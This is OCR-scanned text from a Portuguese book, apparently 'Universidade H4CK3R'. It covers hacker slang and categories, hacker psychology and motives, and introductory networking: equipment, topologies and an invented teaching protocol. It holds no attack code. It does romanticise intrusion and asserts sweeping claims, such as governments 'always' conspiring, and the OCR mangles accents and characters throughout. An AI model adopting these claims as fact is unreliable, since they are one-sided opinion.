importa se sobre relacionamentos amorosos, tecnologias de Internet ou mecnica
de aviao:todos temos um dia em que nos sentamos, pegamos um livro e pensamos
"agora vou aprender esse negcio". O newbie o que chamamos em portugus de
iniciante ou calouro. a pessoa que tem poucos conhecimentos em informtica e
est vida para aprender. o usurio final mdio de sistemas de informtica.
- Luser - Em oposio a newbie, colocamos no mesmo balaio a expresso pejorativa luser,cunhada pela unio das palavras inglesas user (usurio) e loser (perdedor).
Um luser,ao contrrio do newbie, no quer aprender nada. Pelo contrrio, quer saber
s o mnimo necessrio para operar o computador e tenninar a tarefa o mais rpido
possvel. Os lusers normalmente so usados como vtimas intermedirias dos hackers
para chegar a um objetivo maior. O newbie costuma ser chato, mas o luser um
perigo, principalmente para a pacincia do pessoal de suporte tcnic03.
- Lamer - Um usurio comum (newbie ou luser) fatalmente aprende a usar
alguns programas. No sabe ou no tem condio de saber como as coisas
funcionam, mas j sabe pelo menos como operar os aplicativos existentes no
computador. Um belo dia descobre um programinha simples que invade as
mquinas dos outros e apaga seus e-mails, ou outro programinha que expulsa
pessoas das salas de chato Ou ainda um programinha para alterar pginas em
sites. Esse usurio o que se chama de lamer, palavra derivada de lame que em
portugus quer dizer manco ou aleijado. Um lamer caracterizado normal-

128 I

2 No usamos aqui o termo "castas"porque ficaria subentendito que no h mobilidade entre elas, como
na civilizao Indiana Brmane. Apesar de no gostarem que outros hackers subam na hierarquia, o
objetivo de todo hacker exatamente este: aperfeioar-se tcnica, social e politicamente.
3 Uma descrio de como o vocbulo luser foi criado pode ser encontrado (em ingls) no Jargon File:
http://www.ianwnflle.comzianwnlbtmI/entry/luser.htmI.Alis.
o Jargon File pode ser usado para obter os
signilicados de qualquer tenno relacionado tecnologia e ao comportamento hacker usado neste livro.

Psicologia Hacker r

Universidade 1 ano

mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan.
- Wannabe (ou wannabee) - A palavra foi usada pela primeira vez na mdia nos
anos 80 para se referir aos tas da cantora Madonna que se vestiam e agiam tentando
imitar seu dolo. De maneira semelhante, os wannabees da informtica so usurios
comuns que almejam ser hackers. O termo pode ser usado de duas maneiras, uma
positiva e outra pejorativa. Quando usado de forma positiva, wannabe o indivduo
que j leu bastante e est prestes a entrar no que chamamos de latval stage (ou
"entrar no casulo"). Na forma pejorativa, wannabe exatamente o tipo que descrevemos nos primeiros pargrafos deste captulo: algum que quer entrar nesse fantasioso
mundo mstico chamado hackerismo, mas no tem a mnima idia do que se trata.
- Larva! stage - literalmente, estgio larval, tambm chamado de spawn. o
perodo de isolamento total pelo qual o candidato a hacker tem de passar
para, no fmal do processo, "nascer de novo" como programador. Note que possuir habilidade em programao condio fundamental para ser considerado
hacker, mesmo no sentido popular da palavra. O estgio larval restringe-se
programao e pode durar de seis meses a dois anos.
No fmal deste estgio, o programador adquire uma sapincia quase esotrica,
embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a
pagar. Voc pode ser um programador competente sem passar por isso. Entretanto, nunca chegar a ser um mago do cdigo.
- Hacker - Essapalavra andou um longo caminho at chegar aqui. Originalmente
(segundo o Jargon File) denominava carpinteiros que faziam mveis com machados

- "hack" a onomatopia para essas ferramentas, em ingls. Nos anos 40 e 50, o


vocbulo hacker era usado para categorizar radioamadores e hobbystas de mecnica ou eletrnica. J na dcada de 60, o nome se popularizou como sinnimo de
programador (para os que saram do latval stage) e especialista em computadores,
embora fosse comum utiliz-Iopara definir qualquer especialista: haviam hackers de
astronomia, de mecnica de automveis ou de jardinagem, por exemplo.
Devido ao j citado desservio prestado comunidade hacker pelos jornalistas, atualmente o termo tende a se referir aos criminosos digitais. So especialistas que j dominam diversas tcnicas de invaso e conhecem com profundidade pelo menos um sistema operacional. So excelentes programadores (tambm passaram pela fase larval) e administradores de sistemas.
Mas, diferentemente do que popularmente se acredita, possuem um rgido cdigo de tica e nunca usam seus conhecimentos para o mal, mesmo que sua noo de
bem seja contra a lei. A comunidade hacker tradicional execra completamente
esta definio, preferindo se referir a hackers apenas como programadores e especialistas em informtica. Para os hackers tradicionais, os que praticam atividades ilegais (mesmo que motivadas por motivos nobres) so chamados de crackers.

4 Segundo o Jargon File, uma caracterstica dos wannabes justamente o uso excessivo dos termos que
estamos apresentando neste captulo. No verbete h ainda uma interessante nota histrica sobre a evoluo do signiflcado da palavra.

1291

]Psicologia Hacker

I Universidade

H4CK3R

Cracker - Chamado de "hacker do mal" ou "hacker sem tica", normalmen-

te especializado
em quebrar as travas de softwares comerciais para poder
pirate-Ios (chamados de warez-dOOdz), mas tambm usa seus conhecimentos
para invadir sites e computadores
com objetivos ilcitos, como vandalismo ou
roubo. Muitas vezes os crackers so excelentes programadores
e podem criar
programas que infectem ou destruam completamente
sistemas alheios sem
deixar vestgios - os lamers normalmente
usam programas
criados pelos
crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A
diferena que os crackers so persistentes: conhecem e fazem uso de uma
mirade de ferramentas para explorar vulnerabilidades
conhecidas nos sistemas que querem invadir. Um lamer age por impulso e no sabe o que est
fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem
noes suficientes para "se virar" caso algum imprevisto
ocorra.
- Phreaker - o cracker dos sistemas telefnicos.
Possui conhecimentos
avanados de eletrnica e telefonia (principalmente
sobre sinalizao telefnica) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos
de fraude incluem transferir as faturas para outros nmeros (vlidos ou no),
modificar telefones pblicos para conseguir crdito ilimitado ou mesmo enganar a central telefnica para que ela no faa o billing.
- Carder - o especialista em fraudes com cartes de crdito. Sabe como
conseguir listas de cartes vlidos em sites que os utilizam (sites de compras,
de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo
roubar e clonar cartes verdadeiros.
- War driver
vulnerabilidades

- Um tipo recente de cracker. Sabe aproveitar


as inmeras
das atuais redes sem fio, as chamadas wireless, e se conectar a

elas. Os war drivers europeus foram mais longe e criaram o war chalking, que
consiste em desenhar com giz no cho smbolos que indicam a melhor posio
de conexo para outros war drivers.

o que so, como pensam e como agem


(e porque importante conhecer essa bobagem toda)
Como j vimos, os hackers so especialistas. Os que usam seus conhecimentos
para invadir e conseguir informaes (com motivos ilcitos ou no) so to especialistas quanto os hackerstradicionais, trancados em laboratrios no MIT ou na Unicamp.
Os hackers associados a qualquer definio da palavra compartilham dos mesmos
ideais e crenas, com variaes locais, mas com um ncleo comum bem definido.

Aprendizado
Os hackers so neurticos em sua busca por conhecimento. Qualquer informao, por mnima que seja, uma jia rara. Cada novo sistema, linguagem de progra-

130 I
Psicologia Hacker r

Universidade 1 ano

mao ou mecanismo de criptografia um desafio a ser superado. Dependendo de


suas idias sociais e polticas, o hacker pode decidir inclusive que os conhecimentos encerrados em uma rede ou sistema autnomo devem ser abertos ao grande
pblico, mesmo que seu sigilo esteja resguardado por leis - rebeldia e repdio a
leis imorais ou injustas so quase obrigatrias nesse meio. A idia de invadir um
sistema para olhar tudo, aprender o mximo possvel e sair sem tocar em nada
amplamente aceita mesmo pelos conservadores. Essas pessoas faro tudo o que
estiver a seu alcance para buscar sempre novos conhecimentos.

Comprometimento
Uma das caractersticas comuns a todos os hackers o que coloquialmente
chamamos de bitolao. Eles so aficionados em tudo o que envolve computadores, programao, conectividade e tecnologia da informao. E o so ao ponto de
relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias
para terminar um programa importante ou conseguir invadir aquele site famoso.
O larva!stage a que nos referimos anteriormente um bom exemplo do comprometimento que o hacker tem por seu trabalho, seja ele remunerado ou no
(mesmo hackers que o fazem por hobby referem-se ao hackerismo como trabalho). Outro exemplo o chamado hack mode. Quando um programador ou analista de sistemas entra em hack mode, todos os recursos de seu corpo e crebro
esto alocados para a tarefa na qual ele pretende hackear. Isso inclui um grande
poder de concentrao e de abstrao. Quando um hacker est em hack mode,
perfeitamente aceitvel que ele levante a mo para outras pessoas em sinal de
"pare", sem dizer uma palavra, impedindo assim que a linha de raciocnio seja
quebrada. Interromper o raciocnio de um programador enquanto ele est criando sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero.
Outro exemplo do comprometimento dos hackers o descuido quanto
carreira. Muitos programadores e especialistas em sistemas recusam promoes
nas empresas onde trabalham porque isso acarretaria desloc-Ios para reas
administrativas e gerenciais. De fato, quase que mensalmente lemos nas revistas
especializadas entrevistas com diretores de informtica que desabafam com o
reprter sua saudade da poca em que "colocavam as mos na massa".
Com pa rti Lhamento
Hackers de qualquer espcie (os do MIT e os do Crime Boyz) tambm tm
em comum a necessidade de compartilhar conhecimento e recursos. Isso inclui
escrever software com cdigo aberto e livre acesso, divulgar 100% do conhecimento que possui para a comunidade, facilitar o acesso a essas informaes a
qualquer interessado e disponibilizar, sempre que possvel, recursos de computao e de rede.
Essa uma paisagem que pode ser vista por diferentes janelas. Os hackers
tradicionais (ou seja, segundo o significado correto da palavra) pregam o
131 I
I

Psicologia Hacker

I Universidade

H4CK3R I

compartilhamento universal do conhecimento. H milhares de bons exemplos


do compartilhamento universal e irrestrito de informaes, como a prpria
Internet, o projeto Gutenberg (http://www.gutenberg.org/).
o projeto GNU
(http://www.gnu.org) e o Linux (http://www.linux.org).
Os hackers/crackers tm outra noo de compartilhamento do conhecimento. Para eles, a cooperao fundamental, mas deve ser recproca. Isso significa
que voc tem de compartilhar primeiro para ser aceito no cl. S depois de
julgado pelo cl, voc ter acesso base de conhecimento deles. Alm das informaes bsicas e das livremente obtenveis, procedimentos de invaso e os
dados resultantes delas tambm devem ser compartilhados entre os membros
do cl. Hackers normalmente colocam diversos backdoors nos sistemas invadidos e divulgam informaes sobre esses backdoors5 dentro de seus cls.
Os hackers desse segundo tipo tm ideais. O ideal de alguns o dinheiro e
para isso no hesitaro em roubar, enganar e fraudar. Para outros, h motivaes
ideolgicas, polticas ou sociais, algumas extremamente vlidas, outras moralmente questionveis. Outros ainda so vndalos e destroem pelo puro prazer
de ver o ndio queimar... Os que possuem ideais elevados normalmente revelam
a podrido de governos e empresas e como elas nos enganam ou lesam.
difcil condenar qualquer um dos tipos. Os hackers tradicionais, com sua viso
academicista, cooperativista e livre, nos deram, por exemplo, a Internet.
Quadrilhes de dlares foram gastos em tecnologia por empresas I?rivadas durante todo o sculo XX e, no entanto, o cone e maior legado da tecnologia desse
perodo algo que pessoas do meio cientfico ofertaram de graa humanidade.
J os hackers do segundo tipo - rebelando-se contra instituies e leis nem
sempre justas ou moralmente corretas - nos mostraram que SIM,o governo nos
espiona; SIM, as empresas empurram produtos de m qualidade aos consumidores; e SIM, organizaes privadas, polticas e governamentais esto SEMPRE
conspirando para cercear nossos direitos. Companhias e governos jogam sujo
nos forando a usar sistemas horrveis, caros e mal escritos, que nos espionam
e caducam muito rpido. "Hackear', ento, seria apenas uma forma de defesa.

Ei! Isso importante!


A maioria dos hackers que invadem sistemas de terceiros adolescente ou
adulto muito jovem e essa mstica do submundo digital faz muito sentido para
eles. claro que h hackers mais velhos que ainda esto mergulhados nesse
mundo parte, mas a maioria esmagadora de pessoas muito jovens.
Alguns hackers mais maduros - que j superaram essa fantasia - utilizam
essa mitologia toda como um escudo. Mesmo achando tudo isso uma chatea-

5 Literalmente, "porta de trs". um programinha que o invasor deixa na mquina invadida para sempre
ter acesso a ela, mesmo que o administrador tape a brecha pela qual o hacker entrou. como abrir novos
buracos para entrar porque o primeiro fatalmente ser consertado pelo dono do muro.

1321
PsicologiaHacker[

Universidade 1 ano

o extrema ("a terriflc bore", como nos disse Lord.Aztael.js), o hacker mais
velho se agremia a cls, tem um pseudnimo vistoso e .1)!6!74 u7!1!z4nl)0
35<!:r!7413376 com o objetivo de despistar autoridades e continuar annimo.
Esse o problema. As listas de vulnerabilidades de sites como o Security
Focus ou o Linux Security possuem apenas os problemas descobertos pelos
pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80%
das vulnerabilidades esto em listas privadas de cls hackers, fora as outras
tantas que so conhecidas apenas por indivduos. Confiar apenas nas listas
pblicas alimentadas por gente que foi invadida e por crackers que liberam as
vulnerabilidades muito antigas no uma atitude l muito sbia.
Isto posto, se voc est lendo este livro pensando em segurar melhor sua
empresa, necessariamente ter de descer ao submundo digitaF e ser um deles.
No pense jamais em ser agente duplo, entretanto: sua rede nunca mais ser
deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de
vulnerabilidades deles para seu site de segurana preferido.

Por que algum gastaria tempo e dinheiro


numa invaso?
A resposta para isso gira em tomo de uma nica palavra:motivo. Todo hacker, seja
bom ou mau, possui um motivo para fazer o que faz. Pode ser torpe ou elevado, pode
ser por amor ou dio, por necessidade, nillismo ou vingana, no importa: motivo h.
A busca por conhecimento parece, primeira vista, ser o motivo mais imediato. Mas na maioria dos casos apenas um objetivo intermedirio para atingir
algo maior.Seria possvel escrever vrios livros sobre os reais motivos dos hackers.
Cada indivduo tem suas prprias idias, seu dio e seus amores, suas crenas.
H pessoas que "hackeiam" por motivos polticos, ideolgicos ou ambientais. Na
China, existem vriosgrupos lutando por uma abertura democrtica e usam a Internet
para isso. O Greenpeace e grupos neonazistas so outros exemplos. A tecnologia
utilizada,nesses casos, como armas em uma guerra, que, na viso do hacker, vlida.
Outros o fazem por simples vandalismo, ou ainda por objetivos torpes: pornografia infantil, venda de armas e narcticos e pirataria (com fins econmicos ou no). O servidor de sua empresa ou o computador de seu av podem
estar sendo usados como reservatrios de imundices sem que voc o saiba. Ou
mesmo como trampolim para um sistema maior.
Seja por ideal, por hobby ou com objetivos econmicos ilcitos, uma invaso
e a prpria existncia de cada hacker sempre possui um motivo original.

6 "Digitar utilizando escrita leet". O 1337 54:r!p7 uma forma de escrever utilizando smbolos alternativos disponveis no teclado, ou seja, apenas no conjunto de caracteres ASCII estendido.
7 Muitos referem-se a ele com o nome oficial de "Digital Underground".

1331
] Psicologia

Hacker

Redes

caPtulo2
'For mi!lions ofyears, man have lived just
like the animaIs. And then something
happened, that unleashed the power of our
imagination: we learned to talk.'
Stephen Hawking, cientista, em um
comercial da AT&T.

1 "Por milhes de anos, a humanidade


viveu como os animais. Ento algo
aconteceu, que despertou o poder de nossas mentes: aprendemos a falar."
Stephen
Hawking
gravou essa mensagem
tambm na cano "Keep
TaIking", do album The Division Bell, do grupo de rock Pink Floyd, em 1994.

I Universidade

H4CK3R I

Introduco
I

Ningum uma ilha. impossvel imaginar que o mundo moderno possa


sobreviver ou mesmo existir sem que as pessoas possam comunicar-se. Talvez
em comunidades afastadas no serto do Piau um telefone disposio ou
mesmo luz eltrica sejam algo suprfluo, e sua falta seja contornve1. Mas imagine se faltar comunicaes ou energia eltrica em uma cidade como Nova
York. Milhes morrero...
As redes de computadores so uma especializao das redes telefnicas, que por
sua vez so um aperfeioamento das tecnologias envolvendo o velho te1egraf02.
Hoje, h computadores ligados por toda a nossa volta, e presentes em diversas
tarefas do nosso cotidiano. Bancos, empresas, mercados... Todos utilizam algum
tipo de rede para atualizar informaes de forma eficiente, rpida e segura.
Nosso objetivo para este captulo dar uma noo muito superficial de como as
redes funcionam e quais so seus componentes. Lembremos que em quase 100%
dos casos estamos acessveis a hackers atravs de alguma rede. Mesmo que os
invasores utilizem-se de acesso fsico para invadir alguma de nossas mquinas - ou
seja, possam sentar-se em nossas cadeiras e digitar diretamente em nossos teclados
-, o controle posterior de nossa mquina se dar, provavelmente, atravs de alguma rede. Os conceitos aqui contidos provavelmente vo acrescentar pouco aos
administradores mais experientes, mas serviro como ferramentas fundamentais
para abrir as portas aos que esto comeando a entender esse universo.
Nem este captulo nem todo o livro tm a inteno de ser um tratado completo sobre comunicao e redes de computadores. Alm de fugir do objetivo
principal, seria complicado faz-Io sem fugir da estimativa inicial de 350 pginas impressas. Muitos bons livros foram escritos sobre o assunto, como o excelente Redes de Computadores, de Andrew Tannembaum, ou os livros on-line
de Morimoto disponveis no Guia do Hardware (www.guiadohardware.com).
E a prpria Internet est cheia de bons tutoriais e artigos sobre o assunto. No
se prenda, pois, ao exposto aqui. v em frente! Seja safo! Estude!

Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tornarem-se o
que conhecemos hoje como redes de computadores possuem vrios aspectos
que devem ser analisados para que nossos projetos de redes sejam eficientes e
seguros. Alguns desses aspectos bsicos so:
~ Estrutura fsica: os componentes de hardware (mecnicos ou eltricos)
que compem uma rede. Simplificando a definio, podemos dizer que tudo
aquilo que voc pode tocar.
2 Os norte-americanos clamam para si a inveno do telgrnfo, reabnente levado a cabo por Samuel Morse em
1838 (e patenteado por ele em 1840). Mas na dcada anterior, em 1830, cientistas ingleses j haviam reproduzido
em laboratrio a teoria que um misterioso colega escocs havia proposto 70 anos antes, em 1750. Na opinio dos
autores, foi esse escocs annimo (ele assinou seu relatrio apenas com as iniciais, CM) que inventou o telgrnfo.

1361
Redes
1[

Universidade 1 ano

~ Topologia: como os computadores esto ligados fisicamente entre si na


rede. Cada problema apresentado pede uma topologia diferente para resolv10, e h situaes em que vrias topologias combinadas resolvem o problema
da melhor maneira possvel.
~ Protocolos: as normas que regem as comunicaes entre computadores e
as "lnguas" que eles falam entre si.
Neste captulo, apresentaremos um "resumo" cobrindo os princpios bsicos das tecnologias envolvidas. O captulo 8, Redes lI, apresentar as redes
TCP/IP - usadas em praticamente todas as redes srias hoje em dia, bem como
na Internet - de forma mais completa.

Estrutura fsica
Existem diversos tamanhos e tipos de redes, mas o ponto de partida para
elas o mesmo: a necessidade de comunicao entre dois ou mais computadores. As formas de conexo podem ser as mais variadas, desde pares de cabos
comuns e de baixo custo, passando pelos cabos coaxiais e fibras ticas at
equipamentos sem fio. H ainda outros componentes utilizados para expandir
a capacidade da rede. Entre esses componentes, podemos destacar:
~ Servidor: mquina central responsvel pela disponibilizao de recursos
e servios na maioria das redes. Sua funo agir como fonte de dados para as
configuraes da rede, armazenamento de dados e plataforma para rodar
aplicativos, alm de possuir mecanismos de autenticao e controle de acesso
- evitando assim que usurios acessem recursos no-autorizados. Existem diversos tipos de servidores, sua escolha depende da necessidade e do tamanho
da rede em que ser instalado.
~ Cliente: a mquina que utilizar a rede em questo. com ela que o
usurio vai acessar os recursos disponveis, como servios, programas e dispositivos de armazenamento no servidor, em outras mquinas cliente ou em dispositivos autnomos como faxes ou impressoras remotas.
~ Cabos: so o meio fsico por meio dos quais os dados sero transmitidos.
Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a
ser instalada, do equipamento que ser utilizado e de quanto o dono da rede
est disposto a gastar.
~ Interface de rede: hardware responsvel pela conexo entre as mquinas,
agindo como porta de entrada e sada para acesso ao "espao pblico" da rede.

1371
] Redes1

I Universidade

H4CK3R I

Equipamento adicional
~ Repetidores: equipamentos que regeneram eletricamente (ou seja, no domnio analgico) o sinal nos meios de transmisso - normalmente cabos eltricos. No se pode usar muitos deles numa mesma rede, pois degeneram o sinal no
domnio digital e causam problemas de sincronismo entre as interfaces de rede.
~ Hubs: unidades que funcionam como ponto central de conexo em uma
rede local. Possuem vrias portas de conexo, cada uma destinada a um computador diferente. Todos os hubs so tambm repetidores.
~ Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso,
consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento
de origem e destino sejam os mesmos e deixando passar dados cujo segmento
de destino seja diferente do de origem.
~ Comutadores: tambm chamados de switches, possuem diversas portas,
assim como os hubs.A diferena que, internamente, ele segmenta a rede, sendo cada porta um segmento diferente. A queda no trfego da rede, com a
utilizao de switchs, gritante.
~ Roteadores e Gateways: equipamentos capazes de encaminhar dados
entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia,
podendo encaminhar mensagens a redes que no esto diretamente ligadas a
eles. A Internet nada mais do que uma grande malha de roteadores.

Abrangncia
Alm do conhecimento dos componentes isolados que compes uma rede,
necessrio ter uma idia de como elas podem cobrir diferentes reas. Os
nomes de cada categoria, embora consagrados, no so to importantes. Conhecer os diferentes problemas inerentes a cada uma das situaes, entretanto,
primordial para um projeto bem-sucedido.
~ LAN: as famosas redes locais, hoje chamadas de departamentais. Os equipamentos encontram-se geograficamente em um mesmo local, e o nmero de
mquinas pequeno. No h muitos problemas de interconexo.
~ MAN: visa cobrir uma rea urbana com aproximadamente 30 km de raio.
Normalmente composta pela interligao de todas as redes locais de uma
mesma empresa, na mesma regio metropolitana.
~ WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado
sempre para que no haja perda nos dados durante a transmisso dos mesmos.
No caso de redes privadas, uma WAN a interligao das MANs de uma mesma
instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN
mais conhecida do mundo a Internet.

J8 I
Redes 1 r

Universidade 1 ano

TopoLogias
Quando falamos em topologias de uma rede, estamos nos referindo ao layout
lgico da mesma. H vrias formas nas quais podemos organizar a interligao entre
cada um dos ns da rede (cada ponto de conexo com a rede pode ser chamado de
n, independentemente da funo do equipamento representado por ele).
H quatro topologias que chamamos de cannicas: ponto-a-ponto, barramento,
anel ou estrela. A escolha da topologia apropriada para uma determinada aplicao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade
e custo os mais importantes. A distncia entre os ns e o tamanho da rede
tambm so fatores preponderantes.

Principais topoLogias
~ Ponto-a-ponto: tambm conhecida como linear, tem como caracterstica
a disposio em srie dos equipamentos, fazendo com que os dados passem
por todas as estaes que estiverem conectadas, mas apenas a receptora poder reconhec-Ios.

~ Barramento: uma extrapolao das redes ponto-a-ponto. Alis, muitas


redes ponto-a-ponto utilizam-se de barramentos. Neste modelo de conexo, todos
os computadores so ligados em um mesmo barramento fisico de dados. Apesar de os dados no passarem por dentro de cada um dos ns, apenas uma
mquina pode "escrever" no barramento num dado momento. Todas as outras
"escutam" e recolhem para si os dados destinados a elas.

1391
] Redes1

I Universidade

H4CK3R I

~ Anel: essa topologia


constituda por um circuito fechado.As redes conhecidas como Token Ring
(criadas pela IBM) so as
mais famosas. Quando foram criadas, ofereciam
uma taxa de transmisso
bem mais elevada do que
nas redes lineares, mas a
adio de um nmero muito grande de mquinas no
anel causava problemas
de atraso, rudo e sincronizao. Por isso mesmo,
essa topologia caiu em
desuso para redes locais.
Em WANs, pelo contrrio, como so poucos ns (um de cada rede local que se
quer interligar), a topologia em anel a mais indicada.
~ Estrela: nessa topologia, toda a informao deve passar obrigatoriamente por
uma central inteligente, que deve conectar cada estao da rede e distribuir o trfego
para que uma estao no receba, indevidamente, dados destinados s outras.
ATENO:uma rede local que use um hub no considerada como estrela!!!
Um hub um dispositivo que possui, internamente, um barramento! O trfego
que entra por uma porta do hub destinado a todas as outras portas. Uma rede
que usa switches, entretanto, um exemplo perfeito de configurao em estrela.
Outro exemplo so as
controladoras de terminais
"burros" dos mainframes e
minicomputadores.
A vantagem das implementaes por estrela a
grande especializao do
trfego. Apenas dados destinados quele n so enviados a ele. Os custos de
implementao e operao, entretanto, so elevados, e atualmente configuraes em estrela so usadas mais para interligar
segmentos de rede do que
ns individuais.
40 I
Redes 1 r

Universidade 1ano

Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa:
protocolo. [Do gr. protkollon, 'primeira folha colada aos rolos de papiro, e na
qual se escrevia um resumo do contedo do manuscrito', pelo lat. medo protocollu
e pelo fr.protocole.] S.m. 1. Registro dos atos pblicos. 2. Registro das audincias
nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. Formulrio regulador de atos pblicos. 5. Conveno internacional. 6. livro de registro da correspondncia de uma firma, repartio pblica, etc. 7. Bras. Carto ou
papeleta em que se anotam a data e o nmero de ordem com que foi registrado no
livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Formalidade, etiqueta, cerimonial. 9. Inform. Protocolo de comunicao (q. v.). Protocolo de comunicao. 10. Inform. Conjunto de regras, padres e especificaes
tcnicas que regulam a transmisso de dados entre computadores por meio de
programas especficos, permitindo a deteco e correo de erros; protocolo de
transmisso de dados. [Tb. se diz apenas protocolo.] Protocolo de transmisso de
dados. 11. Inform. Protocolo de comunicao (q. v.).
A palavra protocolo possui, ento, diversos significados, tanto na lngua
portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significados chamam a ateno:
3.Registrode umaconfernciaou deliberaodiplomtica.
S. Conveno internacional.
S. Fig. Formalidade, etiqueta, cerimonial.

O vocbulo teve sua origem no grego para designar a folha de resumo do


documento

(protos

= primeiro,

kollon = folha), mas seu uso foi amplamente

difun-

dido na esfera diplomtica; em um primeiro momento, como os documentos que


registravam quais as atitudes e os procedimentos que deveriam ser seguidos em
encontros ou querelas com outras naes e, posteriormente, como sinnimo desses procedimentos. A definio 3 do verbete ilustra o sentido diplomtico original
da palavra, a defmio 5 mostra o conceito moderno. Em sentido figurado, as pessoas passaram a considerar qualquer procedimento-padro (seja ele diplomtico
ou no) como protocolo - exatamente o que nos diz a definio 8 do verbete.
Quando as primeiras redes de computadores comearam a sair do papel
e ser experimentadas nos laboratrios de tecnologia (j na dcada de 50), havia a necessidade de criar um mecanismo para que cada equipamento ligado
nela pudesse se comunicar com os demais, mesmo que fossem equipamentos
diferentes. Foram criados ento mensagens-padro, e se duas mquinas quisessem comunicar-se deveriam ambas conhecer tais mensagens. Pela similaridade
de idias (e para fazer uma brincadeira com a defmio diplomtica), os engenheiros de ento apelidaram essas mensagens-padro de protocolo.
Observe as defmies 9, 10 e 11. Se prestarmos ateno, veremos que nada
mais so do que extrapolaes de 5 e 8.Vejamos, ento, alguns dos protocolos de
redes mais conhecidos, suas funes e suas particularidades.
141 I
] Redes1

I Universidade

H4CK3R

Como funcionam
Os protocolos
so, ento, como "frases" que uma interface de rede tem de
dizer para poder se comunicar com as outras. Como a expresso "as outras" da
frase anterior est no plural, deve haver alguma forma de todas as mquinas
conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender
se destinada a elas ou no.
A primeira providncia que um protocolo de redes deve tomar declarar de
qual protocolo estamos falando. Deve haver, em algum lugar no incio da mensagem, um indicador de protocolo.
Lembrem-se: nem sempre existe apenas um
protocolo trafegando pela rede, ento faz-se necessrio identificar a todos.
Considerando que uma mensagem (ou pacote, que o termo tcnico correto
para essa entidade) em uma rede um conjunto de dados originados em um n
e destinados a outro, e que esses dados sero transmitidos
serialmente na forma de bits, coerente afirmar que teremos, no cabo da rede, um "trem" de
pulsos eltricos seqenciais.
Para fms didticos, vamos "montar"

um pacote usando um protocolo

genri-

co e fictcio, criado por ns. J sabemos que nossa mensagem tem de comear
com um identificador
de protocolo,
ento teremos alguma coisa assim:

Protocot

ID

Uma das coisas que o protocolo deve definir, alm da posio onde est
cada um dos dados, o tamanho deles. Assim, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas
devemos que definir tambm quantos bits sero usados para identific-Io.

Vamos supor que, em nossa tecnologia de redes, vo existir apenas quatro


protocolos diferentes. Para quatro valores diferentes, bastam apenas dois bits.
Ento, quando publicarmos nossas normas e projetarmos nossas placas de
rede, j sabemos: os primeiros dois bits desse pacote identificam qual protocolo estamos usando.
H outra coisa que j sabemos: qual a mquina destino do pacote, e qual a
mquina de origem. Cada n em uma rede possui um identificador nico que o
diferencia dos demais ns. Esse identificador comumente chamado de endereo, portanto, sabemos que preciso inserir, em nosso pacote, quantos bits

sero destinados representao do endereo de origem e de destino. Nossa


tecnologia de redes s vai ligar 16 ns ao mesmo tempo, ento quatro bits so
suficientes. (Estamos considerando que o leitor saiba fazer converso decimal!
binrio, pois ser necessrio. Em caso negativo, um site que pode esclarec-Io
piano .dsi.uminho. pt/ -joao/Computaca02lnode2
.html).
1421
Redes1 [

1ano

Universidade

o pacote ficaria assim:


ProtocollD
(2bits)

Endereco de

Origem (4 bits)

Endereco
Destin
(4bits)

Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um
envelope com remetente, destinatrio, o selo carimbado (que, nesse caso, identificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem
uma carta no interior? Nosso protocolo tambm carece de algo til para fazer.
Precisamos definir um espao, dentro da mensagem, para carregar os dados
que queremos transmitir do n de origem para o de destino.
Vamos supor que a rede para a qual estamos criando esse protocolo tenha
uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos
dois para o protocolo, quatro para o endereo de origem e mais quatro para o
endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (expresso usada no meio ferrovirio para definir o tamanho da "carga til") e
demais campos. Um protocolo, por mais simples que seja, deve possuir um
smbolo que marque o fim da mensagem. Vamos definir uma sequncia de
1 byte para tal. Ao acaso, arbitramos 11001011. O smbolo deve ser a ltima
coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados
para transportar nossos dados.
PID
2 bits

End. Origem End. Destino


4bits

4bits

PAYLOAD (Dados teis)


46 bits

Fim Msg
11001011

claro que pacotes montados segundo nosso simples protocolo simples


carecem de diversos controles mais sofisticados. Poderia, por exemplo, haver
um campo no qual existisse um nmero calculado a partir dos bits de toda a
mensagem. Esse nmero seria reca1culado pelo n destino e, se o resultado
batesse com o que est guardado no campo, indicaria que a mensagem no foi
corrompida durante a viagem.
Outro campo til poderia ser um marcador de tamanho de mensagem.
Com o tamanho da mensagem varivel, ajustaramos a quantidade de dados a
transmitir naquele momento. Pegando como exemplo nosso protocolo, que
tem um payload de 46 bits, vemos que todas as mensagens tero rigorosamente o tamanho mximo, mesmo que eu queira transmitir apenas um bit. Com um
campo controlando o tamanho do payload, posso otimizar o uso da minha
rede e diminuir o trfego.
Eu poderia passar a madrugada inteira (sim, agora de madrugada, e eu
tenho de entregar o captulo todo corrigido amanh...) falando sobre as inmeras possibilidades de implementao de protocolos. Em vez disso, recomendo ao leitor que procure na Internet documentao sobre teoria de protocolos.
Bons livros sobre redes (como o j citado de Andrew Tannemmbaum) tambm
so boas fontes de informaes sobre o assunto.

1431
] Redes1

I Universidade H4CK3R I

Matrioshka3
O campo Protocol ID (ou PID) de nosso protocolo um identificador que
